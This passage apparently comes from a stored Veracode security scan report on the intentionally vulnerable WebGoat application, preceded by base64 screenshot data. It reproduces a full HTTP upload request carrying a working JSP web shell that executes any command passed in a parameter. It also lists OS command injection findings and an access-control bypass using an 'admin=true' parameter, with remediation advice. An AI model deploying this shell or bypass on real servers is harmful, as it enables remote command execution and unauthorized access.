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kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
